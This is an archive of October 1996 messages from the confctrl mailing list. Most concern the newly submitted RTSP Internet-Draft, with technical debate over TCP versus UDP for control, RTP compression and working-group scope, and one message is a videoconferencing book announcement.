Subject: Re: Book-Personal Videoconferencing
To: confctrl@isi.edu
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


This book is currently avalible from Global Videoconferencing 
Solutions. It can be ordered via the internet from their web site at 
http://www.globalvideoconf.com or by calling 1-800-909-4874. 

It will also be avalible at the Telecon XVI Conference at booth 1552

Megan


erosen@impactvid.com wrote: 
>
>        My book Personal Videoconferencing (Manning/Prentice Hall) 
is
>hot off the presses. Thanks to all of you who have been sending e-mail
>and asking about it. I have collaborated with over a hundred users of
>desktop and laptop videoconferencing in putting the book together--it
>was really a massive collaborative effort.  
>	The book describes how more than seventy companies use the
>technology to achieve results.  It also covers technologies and how
>they fit together, including ADSL, HDSL, ISDN, ATM and LAN options. 
>There are also chapters on home videoconferencing and an insiders
>history of personal videoconferencing.  The book also includes about 
50
>photos and illustrations. You can see the table of contents and a
>chapter of the book at the Manning Publications site at
>http://www.browsebooks.com where you can even order it if you like. 
>Bookstores should begin to have it on the shelves next week.  If you
>dont find it, ask for it (the best thing is to give them the ISBN:
>0-13-268327-X).  
>	If you have suggestions of any kind, Ill be glad to receive
>them.  Send me e-mail at erosen@impactvid.com
>
>Evan Rosen
>




From majordom@ISI.EDU  Wed Oct  9 09:27:23 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09971>; Wed, 9 Oct 1996 16:27:32 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09964>; Wed, 9 Oct 1996 16:27:27 -0700
Received: from c3po.mcom.com (h-198-93-92-27.netscape.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA03092>; Wed, 9 Oct 1996 16:27:26 -0700
Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by c3po.mcom.com (8.7.5/8.7.3) with ESMTP id QAA25930 for <confctrl@isi.edu>; Wed, 9 Oct 1996 16:27:25 -0700 (PDT)
Received: from atri.mcom.com ([205.217.246.210]) by judge.mcom.com
          (Netscape Mail Server v2.0) with SMTP id AAA826;
          Wed, 9 Oct 1996 16:27:26 -0700
Message-Id: <325C34DB.1A1C@netscape.com>
Date: Wed, 09 Oct 1996 16:27:23 -0700
From: atri@netscape.com (Atri Chatterjee)
Reply-To: atri@netscape.com
Organization: netscape communications
X-Mailer: Mozilla 3.0GoldC (Win95; U)
Mime-Version: 1.0
To: eduardo@netscape.com
Cc: confctrl@isi.edu, Mark Handley <m.handley@cs.ucl.ac.uk>,
        Ruth Lang <rlang@sri.com>, Eve Schooler <schooler@cs.caltech.edu>,
        Rob Lanphier <robla@prognet.com>, Mike Po <map@netscape.com>
Subject: Re: Submission of RTSP V1.0 (Real Time Streaming Protocol) for MMUSIC Working Group of IETF
References: <325BF943.1C43@netscape.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Congratulations on a commendable team effort.

--Atri

From majordom@ISI.EDU  Thu Oct 10 05:17:19 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04718>; Thu, 10 Oct 1996 06:28:22 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04712>; Thu, 10 Oct 1996 06:28:20 -0700
Received: from ietf.org by venera.isi.edu (5.65c/5.61+local-25)
	id <AA03247>; Thu, 10 Oct 1996 06:28:19 -0700
Received: from localhost by ietf.org id aa14879; 10 Oct 96 9:17 EDT
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
From: Internet-Drafts@ietf.org
Cc: confctrl@isi.edu
Reply-To: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-rao-rtsp-00.txt
Date: Thu, 10 Oct 1996 09:17:19 -0400
Message-Id:  <9610100917.aa14879@ietf.org>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

--NextPart

 A New Internet-Draft is available from the on-line Internet-Drafts 
 directories.                                                              

       Title     : Real Time Streaming Protocol(RTSP)                      
       Author(s) : A. Rao, R. Lanphier
       Filename  : draft-rao-rtsp-00.txt
       Pages     : 43
       Date      : 10/09/1996

The Real Time Streaming Protocol, or RTSP, is an application-level protocol
for control over the delivery of data with real-time properties. RTSP 
provides an extensible framework to enable controlled, on-demand delivery 
of real-time data, such as audio and video. Sources of data can include 
both live data feeds and stored clips. This protocol is intended to control
multiple data delivery sessions, provide a means for choosing delivery 
channels such as UDP, multicast UDP and TCP, and delivery mechanisms based 
upon RTP (RFC 1889). RTSP uses the Session Control Protocol (SCP) (see 
appendix) to allow the use of a single TCP connection between the client 
and server for controlling delivery of one or more streams of data.        

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
     "get draft-rao-rtsp-00.txt".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-rao-rtsp-00.txt
 
Internet-Drafts directories are located at:	
	                                                
     o  Africa:  ftp.is.co.za                    
	                                                
     o  Europe:  nic.nordu.net            	
                 ftp.nis.garr.it                 
	                                                
     o  Pacific Rim: munnari.oz.a                
	                                                
     o  US East Coast: ds.internic.net           
	                                                
     o  US West Coast: ftp.isi.edu               
	                                                
Internet-Drafts are also available by mail.	
	                                                
Send a message to:  mailserv@ds.internic.net. In the body type: 
     "FILE /internet-drafts/draft-rao-rtsp-00.txt".
							
NOTE: The mail server at ds.internic.net can return the document in
      MIME-encoded form by using the "mpack" utility.  To use this
      feature, insert the command "ENCODING mime" before the "FILE"
      command.  To decode the response(s), you will need "munpack" or
      a MIME-compliant mail reader.  Different MIME-compliant mail readers
      exhibit different behavior, especially when dealing with
      "multipart" MIME messages (i.e., documents which have been split
      up into multiple messages), so check your local documentation on
      how to manipulate these messages.
							
							

Below is the data which will enable a MIME compliant mail reader 
implementation to automatically retrieve the ASCII version
of the Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID: <19961009164053.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-rao-rtsp-00.txt

--OtherAccess
Content-Type:   Message/External-body;
        name="draft-rao-rtsp-00.txt";
        site="ds.internic.net";
        access-type="anon-ftp";
        directory="internet-drafts"

Content-Type: text/plain
Content-ID: <19961009164053.I-D@ietf.org>

--OtherAccess--

--NextPart--

From majordom@ISI.EDU  Thu Oct 10 19:18:37 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16480>; Thu, 10 Oct 1996 10:19:32 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16474>; Thu, 10 Oct 1996 10:19:30 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA28228>; Thu, 10 Oct 1996 10:19:29 -0700
Received: from mickey.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.17417-0@bells.cs.ucl.ac.uk>; Thu, 10 Oct 1996 18:18:39 +0100
To: eduardo@netscape.com
Cc: confctrl@ISI.EDU, Rob Lanphier <robla@prognet.com>,
        Mike Po <map@netscape.com>, Atri Chatterjee <atri@netscape.com>
Subject: Re: Submission of RTSP V1.0 (Real Time Streaming Protocol) for MMUSIC 
         Working Group of IETF
In-Reply-To: Your message of "Wed, 09 Oct 1996 12:13:07 PDT." <325BF943.1C43@netscape.com>
Date: Thu, 10 Oct 1996 18:18:37 +0100
Message-Id: <18814.844967917@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



coupolke of things (before i have read this properly)
1/ the name -there is a near clash with NTT's Real Time Stream
Pipeline Protocol, RSTP (which has some of the same functionality
somewhere in it...)

2/ this is really a Control protocol, in fact its really a VCR control
protocol so it'd be neat if it looked a bit more abstract (transport
protocol independance for the Control part, as well as the data part,
which you've obviously done very nicely....)
and its name should reflect that (i was jumping up and fdown shouting
about it in the lab til someone pointed this out and made me read it
properly:-)

comments later when i've read it in detail...

but looks v. interesting....

regards

jon

From majordom@ISI.EDU  Thu Oct 10 19:19:50 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16742>; Thu, 10 Oct 1996 10:22:15 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16736>; Thu, 10 Oct 1996 10:22:13 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA28375>; Thu, 10 Oct 1996 10:22:10 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.17510-0@bells.cs.ucl.ac.uk>; Thu, 10 Oct 1996 18:19:54 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: eduardo@netscape.com
Cc: confctrl@ISI.EDU, Rob Lanphier <robla@prognet.com>,
        Mike Po <map@netscape.com>, Atri Chatterjee <atri@netscape.com>
Subject: Re: Submission of RTSP V1.0 (Real Time Streaming Protocol) for MMUSIC 
         Working Group of IETF
In-Reply-To: Your message of "Wed, 09 Oct 1996 12:13:07 PDT." <325BF943.1C43@netscape.com>
Date: Thu, 10 Oct 1996 18:19:50 +0100
Message-Id: <13719.844967990@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>We are pleased to submit the following Internet-Draft of the
>RTSP - Real Time Streaming Protocol, which we at Netscape and
>Progressive Networks have been working on.

Thanks for sending the draft - clearly a significant amount of work
has gone into it.

This isn't strictly within the charter of the MMUSIC group, but as
previous discussion on similar topics has occurred here, I think it is
appropriate to discuss it on this mailing list.  We should discuss
whether this area is appropriate for the MMUSIC sessions at the
upcoming IETF, but I haven't had a chance to talk to my co-chairs or
AD about this.

I have several comments, in no particular order...

- This overlaps heavily with the work Jeff Smith has been coordinating
on server control, although Jeff also addresses controlling servers to
*record* real-time sessions.  It would be good to see both efforts
come together into a single framework/protocol if there is enough
common ground.  Some notes on his work are available from:
  http://alicia.nttlabs.com/people/sumisu/streams-bof/

- the options mechanism is pretty complicated - as a general rule I
(personally) prefer protocols without complicated option mechanisms.
Telnet implementations (which you base the negotitation OK) often
don't bother to implement any of the options these days.

- can a single fetch give multiple stream-header replies?  if not, how
do you do *multi*media sessions?

- in the stream-header flags, you can specify U, ie that the server
can send UDP if required.  There's no equivalent T flag.  Does this
mean that you assume the stream can alwasy be sent by "reliable
means"?

- how does the client know whether reliable transfer is *recommended*
over unreliable transfer (or vice-versa) from this flag?

- in set-transport, you specify the SSRC.  Perhaps this really should
be the CNAME as the SSRC can change during a session if a clash
occurs.

- in play-range, the timestamp is in ms.  This doesn't give sufficient
accuracy to specify exact video frames unambiguously based on a 90KHz
video clock as used by RTP.  

- udp-resend is kind-of wierd.  Requesting a resend of a UDP packet
via a TCP control protocol that may add an aribtrary delay seems
strange.

 - in the RTSP-Audio family, reserving a codec ID range for Microsoft
Audio Compression Manager but not referencing RTP AV profile payload
types or ITU standards seems odd, particularly as there are likely to
be overlaps.

- I can't figure out where the stuff in Appendix D fits in, but
perhaps I just haven't read the spec through closely enough.

- Appendix C duplicates work done in the Session Description Protocol.


In general, my main reservation about this is the use of TCP (which
provides arbitrary delays to achieve reliability) to control real-time
UDP based streams where timing is all important.  I'd prefer to see a
mapping of this protocol over UDP...

Mark

From majordom@ISI.EDU  Thu Oct 10 06:05:32 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03103>; Thu, 10 Oct 1996 13:06:13 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03097>; Thu, 10 Oct 1996 13:06:12 -0700
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA19567>; Thu, 10 Oct 1996 13:06:12 -0700
Received: from little-bear.precept.com by precept.com (5.x/SMI-4.1)
	id AA08923; Thu, 10 Oct 1996 13:05:33 -0700
Date: Thu, 10 Oct 1996 13:05:32 -0700 (PDT)
From: Stephen Casner <casner@precept.com>
To: Mark Handley <M.Handley@cs.ucl.ac.uk>
Cc: eduardo@netscape.com, confctrl@ISI.EDU, Rob Lanphier <robla@prognet.com>,
        Mike Po <map@netscape.com>, Atri Chatterjee <atri@netscape.com>
Subject: Re: Submission of RTSP V1.0 (Real Time Streaming Protocol) for MMUSIC          Working Group of IETF
In-Reply-To: <13719.844967990@cs.ucl.ac.uk>
Message-Id: <Pine.SOL.3.93.961010123512.22754C-100000@little-bear.precept.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Mark,

> This isn't strictly within the charter of the MMUSIC group, but as
> previous discussion on similar topics has occurred here, I think it is
> appropriate to discuss it on this mailing list.  We should discuss
> whether this area is appropriate for the MMUSIC sessions at the
> upcoming IETF, but I haven't had a chance to talk to my co-chairs or
> AD about this.

It was my suggestion to the folks at Netscape that MMUSIC would be the
right WG to consider this protocol.  I hold this opinion because I
believe RTSP is primarily a control protocol, as Jon Crowcroft also
notes.  I've also suggested that the name be changed to ma
e that
control functionality more clear, though I didn't have any brilliant
ideas for a new name to offer.

Yes, there is one aspect of this proposal that falls more in the AVT
domain, specifically that it defines a compressed form of RTP that may
be selected as an alternative to RTP.  However, at the Montreal
meeting, the AVT group concluded that a combined IP/UDP/RTP
compression should be standardized instead and that defining an
RTP-only compression as an interim measure did not make sense as an
IETF standardization activity because of the time it would take.  In
essence, we left it to the vendors to take interim steps if they felt
it was necessary.  My personal preference would be to just have this
proposal specify the use of real RTP all the time, and I don't think
that defining an interim RTP compression as part of a higher-layer
protocol ameliorates the problems discussed in Montreal.

> - This overlaps heavily with the work Jeff Smith has been coordinating
> on server control, although Jeff also addresses controlling servers to
> *record* real-time sessions.  It would be good to see both efforts
> come together into a single framework/protocol if there is enough
> common ground.  Some notes on his work are available from:
>   http://alicia.nttlabs.com/people/sumisu/streams-bof/

Yes.  This is why I think MMUSIC is the right working group.

							-- Steve


From majordom@ISI.EDU  Thu Oct 10 19:19:50 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16742>; Thu, 10 Oct 1996 10:22:15 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16736>; Thu, 10 Oct 1996 10:22:13 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA28375>; Thu, 10 Oct 1996 10:22:10 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.17510-0@bells.cs.ucl.ac.uk>; Thu, 10 Oct 1996 18:19:54 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: eduardo@netscape.com
Cc: confctrl@ISI.EDU, Rob Lanphier <robla@prognet.com>,
        Mike Po <map@netscape.com>, Atri Chatterjee <atri@netscape.com>
Subject: Re: Submission of RTSP V1.0 (Real Time Streaming Protocol) for MMUSIC 
         Working Group of IETF
In-Reply-To: Your message of "Wed, 09 Oct 1996 12:13:07 PDT." <325BF943.1C43@netscape.com>
Date: Thu, 10 Oct 1996 18:19:50 +0100
Message-Id: <13719.844967990@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>We are pleased to submit the following Internet-Draft of the
>RTSP - Real Time Streaming Protocol, which we at Netscape and
>Progressive Networks have been working on.

Thanks for sending the draft - clearly a significant amount of work
has gone into it.

This isn't strictly within the charter of the MMUSIC group, but as
previous discussion on similar topics has occurred here, I think it is
appropriate to discuss it on this mailing list.  We should discuss
whether this area is appropriate for the MMUSIC sessions at the
upcoming IETF, but I haven't had a chance to talk to my co-chairs or
AD about this.

I have several comments, in no particular order...

- This overlaps heavily with the work Jeff Smith has been coordinating
on server control, although Jeff also addresses controlling servers to
*record* real-time sessions.  It would be good to see both efforts
come together into a single framework/protocol if there is enough
common ground.  Some notes on his work are available from:
  http://alicia.nttlabs.com/people/sumisu/streams-bof/

- the options mechanism is pretty complicated - as a general rule I
(personally) prefer protocols without complicated option mechanisms.
Telnet implementations (which you base the negotitation OK) often
don't bother to implement any of the options these days.

- can a single fetch give multiple stream-header replies?  if not, how
do you do *multi*media sessions?

- in the stream-header flags, you can specify U, ie that the server
can send UDP if required.  There's no equivalent T flag.  Does this
mean that you assume the stream can alwasy be sent by "reliable
means"?

- how does the client know whether reliable transfer is *recommended*
over unreliable transfer (or vice-versa) from this flag?

- in set-transport, you specify the SSRC.  Perhaps this really should
be the CNAME as the SSRC can change during a session if a clash
occurs.

- in play-range, the timestamp is in ms.  This doesn't give sufficient
accuracy to specify exact video frames unambiguously based on a 90KHz
video clock as used by RTP.  

- udp-resend is kind-of wierd.  Requesting a resend of a UDP packet
via a TCP control protocol that may add an aribtrary delay seems
strange.

 - in the RTSP-Audio family, reserving a codec ID range for Microsoft
Audio Compression Manager but not referencing RTP AV profile payload
types or ITU standards seems odd, particularly as there are likely to
be overlaps.

- I can't figure out where the stuff in Appendix D fits in, but
perhaps I just haven't read the spec through closely enough.

- Appendix C duplicates work done in the Session Description Protocol.


In general, my main reservation about this is the use of TCP (which
provides arbitrary delays to achieve reliability) to control real-time
UDP based streams where timing is all important.  I'd prefer to see a
mapping of this protocol over UDP...

Mark

From majordom@ISI.EDU  Fri Oct 11 01:36:11 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03437>; Fri, 11 Oct 1996 01:36:11 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03431>; Fri, 11 Oct 1996 01:36:10 -0700
Received: from vnet.ibm.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA12412>; Fri, 11 Oct 1996 01:36:09 -0700
Message-Id: <199610110836.AA12412@venera.isi.edu>
Received: from HAIFASC3 by VNET.IBM.COM (IBM VM SMTP V2R3) with BSMTP id 2737;
   Fri, 11 Oct 96 04:36:22 EDT
Date: Fri, 11 Oct 96 10:00:52 IST
From: "Scott Petrack" <petrack@VNET.IBM.COM>
To: confctrl@isi.edu
Cc: rem-conf@es.net
Subject: RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

My $0.02 before I read all the RTSP I-D carefully:

1.I thought that there was actually a very large consensus in Montreal
AGAINST blessing any kind of lightweight RTP, even in principle.
This issue was already
opened, decided, and closed. RTSP should rely on link-level RTP/UDP/IP
compression if it wants a lightweight RTP. If it needs something over
TCP, then one should do a link level RTP/TCP/IP. (This is of course
particularly trivial to do over TCP.)

I am not expressing a personal opinion here about whether this is a good
idea or not. I am suggesting that this part of the I-D has already been
discussed.

2. Using TCP for reliability of a control protocol is a really hideous
thing to do. (Can you say ITU?). I would not like to see the IETF
embrace such a monstrous practice. Of course, the issue of a reliable
channel for RTP control is a very important one and must be addressed. I
would think that adding a simple ACK scheme would be perfectly
satisfactory. If you think (as I do) that the correct way to transport
control for RTP streams is in some RTCP packets, then it's pretty
obvious how to add an ACK packet type and how to piggyback it onto other
RTCP packets in such a way as to add absolutely minimal overhead. This
has the added advantage that if you don't need it you just don't do it,
so it's totally "backward compatible" with existing RTP tools.

3. RTSP looks to me like a protocol for audio/video streaming playback.
With just the tiniest effort, it could be made into a protocol for
real-time control of RTP streams. This would include
record, playback, translators, mixers, and perhaps other gateways. I
don't want to do "everything." I want to restrict to and focus on
"real-time control of RTP streams." I have no problem with starting with
media types audio/video, and starting with playback/record. But I'd like
to be sure *now* that the protocol will support more, just like I know now
that RTP will support more later than its current rather simple usages.

I'll try hard to read carefully the draft today to make my remarks
worth more than $0.02.

Scott

From majordom@ISI.EDU  Fri Oct 11 04:06:11 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07131>; Fri, 11 Oct 1996 05:06:21 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07121>; Fri, 11 Oct 1996 05:06:19 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA15744>; Fri, 11 Oct 1996 05:06:18 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.7.6/8.6.6) with ESMTP id IAA18851; Fri, 11 Oct 1996 08:06:17 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.7.6/8.6.6) with SMTP id IAA25144; Fri, 11 Oct 1996 08:06:12 -0400 (EDT)
Message-Id: <325E3833.1077@cs.columbia.edu>
Date: Fri, 11 Oct 1996 08:06:11 -0400
From: "Henning G. Schulzrinne" <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Mark Handley <M.Handley@cs.ucl.ac.uk>
Cc: confctrl@isi.edu
Subject: Re: Submission of RTSP V1.0 (Real Time Streaming Protocol) for MMUSIC Working Group of IETF
References: <15299.845026013@cs.ucl.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Instead of just lobbing ITU and ALP into the debate, maybe we should
consider this issue in a bit more detail.

It was suggested that UDP might be a better choice than TCP for the
control channel.

Clearly, we can implement a TCP-like retransmission and RTT algorithm
for UDP. This may even turn out to be a good idea (or maybe not). Some
considerations:

There are two cases:

- If the control protocol has low rates (less than one request/response
per RTT), delay performance of UDP and TCP will be virtually identical
(except possibly due to different timer granularities) unless you
"cheat" by making the UDP version retransmit more aggressively. Until we
have some form of traffic policing, not everybody will appreciate this
"application-level priority".

- If the control protocol has significant data rates (more than one
packet un'acked per RTT):

Adding a non-rate-controlled protocol that is much more aggressive than
TCP for applications that have potentially a large rate doesn't seem
like a really great idea. Having the control rate increase with the rate
of congestion packet drop is already more of a positive feedback loop
than I feel comfortable with. If TCP backs off too aggressively, we
should fix TCP, not unleash a protocol where vendors will have every
incentive to not back off to get better performance than the
competition.

If the control protocol is to have more than one packet outstanding
unacknowledged, we pretty quickly come back to re-implementing a
windowed reliable transport protocol. Seems like we have one of those
already. Given that it took many years to get all the bugs worked out of
TCP implementations, I'm not quite sure whether having every application
programmer develop their own version, with every incentive to be a bit
more pushy than the competition, is such a great idea.

Mark (in private email) mentioned that TCP's stream nature means you
can't take something back once you put it into the pipe. Good point. Are
there examples for this particular application where this is likely to
occur?

Henning
-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Fri Oct 11 04:16:31 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07363>; Fri, 11 Oct 1996 05:16:36 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07357>; Fri, 11 Oct 1996 05:16:34 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA15944>; Fri, 11 Oct 1996 05:16:33 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.7.6/8.6.6) with ESMTP id IAA18959; Fri, 11 Oct 1996 08:16:32 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.7.6/8.6.6) with SMTP id IAA25154; Fri, 11 Oct 1996 08:16:32 -0400 (EDT)
Message-Id: <325E3A9F.48EA@cs.columbia.edu>
Date: Fri, 11 Oct 1996 08:16:31 -0400
From: "Henning G. Schulzrinne" <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Scott Petrack <petrack@VNET.IBM.COM>
Cc: confctrl@isi.edu
Subject: Re: RTSP
References: <199610110836.AA12412@venera.isi.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Scott Petrack wrote:
> 
> My $0.02 before I read all the RTSP I-D carefully:
> 
> 1.I thought that there was actually a very large consensus in Montreal
> AGAINST blessing any kind of lightweight RTP, even in principle.
> This issue was already
> opened, decided, and closed. RTSP should rely on link-level RTP/UDP/IP
> compression if it wants a lightweight RTP. If it needs something over
> TCP, then one should do a link level RTP/TCP/IP. (This is of course
> particularly trivial to do over TCP.)
> 
> I am not expressing a personal opinion here about whether this is a good
> idea or not. I am suggesting that this part of the I-D has already been
> discussed.

I also question the gain this provides. The RTP header is 12 bytes, the
"compressed" version 5 bytes, for a saving of 7 bytes. RealAudio 28.8
(14.4 doesn't seem to work on Solaris) seems to send 247 bytes per UDP
packet. This amounts to a saving of an amazing 2.83 % of bandwidth (or
2.6% if you figure in the IP header). 

> Scott

Henning

From majordom@ISI.EDU  Fri Oct 11 19:23:25 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19920>; Fri, 11 Oct 1996 10:37:56 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19914>; Fri, 11 Oct 1996 10:37:55 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA13975>; Fri, 11 Oct 1996 10:37:50 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.14764-0@bells.cs.ucl.ac.uk>; Fri, 11 Oct 1996 18:23:28 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: "Henning G. Schulzrinne" <schulzrinne@cs.columbia.edu>
Cc: confctrl@ISI.EDU
Subject: Re: Submission of RTSP V1.0 (Real Time Streaming Protocol) for MMUSIC 
         Working Group of IETF
In-Reply-To: Your message of "Fri, 11 Oct 1996 08:06:11 EDT." <325E3833.1077@cs.columbia.edu>
Date: Fri, 11 Oct 1996 18:23:25 +0100
Message-Id: <18044.845054605@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>Adding a non-rate-controlled protocol that is much more aggressive than
>TCP for applications that have potentially a large rate doesn't seem
>like a really great idea. Having the control rate increase with the rate
>of congestion packet drop is already more of a positive feedback loop
>than I feel comfortable with. 

I agree with you on this point.  However, we should consider the
context in which control protocols operate.  RTCP for instance is a
non-rate controlled protocol, but it operates in the context of an RTP
stream, and so should be almost negligable bandwidth.  

The sort of control protocols we're discussing here also operate in
the context of RTP data streams - we can link the data rate of the
control protocol to that of the data stream so that any positive
feedback effect in the control protocol is insignificant compared to
the data traffic.

>If TCP backs off too aggressively, we
>should fix TCP, not unleash a protocol where vendors will have every
>incentive to not back off to get better performance than the
>competition.

TCP is the nearest thing we have to a generic reliable protocol - it
does not back off too aggressively because it is designed primarily
for applications that are able to trade off delay for reliability.

When we're controlling a significant rate UDP data stream, we want a
reliable control protocol that can get through rapidly, but we don't
need to pretend it's a generic data transfer protocol.  We may not
be prepared to accept the same tradeoff that TCP makes.  In this
context, having something a little more aggressive is probably
required.

If you modify TCP, people will use your more aggressive TCP for things
you didn't intend, such as Web data transfers.  


What I can't quite decide is whether we need something completely
different from a stream protocol like TCP, so that later commands can
simply supercede earlier ones if they haven't been acked yet.  A
trivial example is where a user clicks on stop, play, stop then
rewind-to-start and play again in quick succession.  Users do these
sorts of things.  Simply sending what you expect the server to be
doing (like "play-from-time:0") means all the previous commands (of
this type) can be superceded if they're still outstanding without
worrying about still trying to get them there.  In general, this seems
like a good idea, but whether it's necessary or not, I don't know.

TCP would tend to bundle up consecutive commands into a single packet
anyway (at least until we have an MTU of data waiting, at which point
we start to lose...).  If the control protocol has any messages which
don't require absolute reliability (such as the RTSP udp-resend
message I suspect) then using a protocol that provides per-message
ACKs to the application and out-of-order delivery seems a sensible
design choice.


Presumably the reason we're still discussing this is that the design
tradeoffs aren't completely obvious.  

So, let's add another possibility to muddy the waters further :-) When
we're doing playback into a multicast session, we could multicast all
the control messages to the media-server.  This would have the
advantages of keeping everyone informed as to what they should be
expecting to see/hear, plus also possibly allow people to take turns
controlling the server so that the "video-object" could be a real 
shared-object like other shared objects.  This seems like it might
sometimes be useful to do.  

Mark


From majordom@ISI.EDU  Mon Oct 14 03:10:20 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22408>; Mon, 14 Oct 1996 04:10:33 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22402>; Mon, 14 Oct 1996 04:10:31 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA04840>; Mon, 14 Oct 1996 04:10:30 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.7.6/8.6.6) with ESMTP id HAA13210; Mon, 14 Oct 1996 07:10:26 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.7.6/8.6.6) with SMTP id HAA00696; Mon, 14 Oct 1996 07:10:21 -0400 (EDT)
Message-Id: <32621F9C.5841@cs.columbia.edu>
Date: Mon, 14 Oct 1996 07:10:20 -0400
From: "Henning G. Schulzrinne" <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
